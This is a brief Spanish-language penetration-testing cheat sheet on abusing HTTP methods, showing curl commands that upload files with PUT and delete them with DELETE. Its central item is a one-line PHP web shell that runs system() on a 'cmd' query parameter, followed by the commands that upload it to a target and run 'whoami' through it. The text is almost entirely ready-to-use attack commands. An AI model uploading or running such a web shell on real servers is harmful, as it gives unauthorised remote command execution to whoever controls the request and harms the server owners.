# HTTP methods (verbs)

## PUT

### Archivo de texto

{% code title="test.txt" %}

```
Contenido de archivo text.txt 
```

{% endcode %}

```shell
# Subida de archivo
curl -X PUT -d @test.txt http://<target>/test.txt -v
# Lectura de archivo
curl http://<target>/test.txt
```

### Web shell (PHP)

{% code title="webshell.php" %}

```php
<?php echo system($_GET["cmd"]); ?>
```

{% endcode %}

```shell
# Subida de archivo
curl -X PUT -d @webshell.php http://<target>/webshell.php -v
# Ejecutar webshell
curl http://<target>/webshell.php?cmd=whoami
```

## DELETE

```shell
curl -X DELETE http://<target>/test.txt -v
```
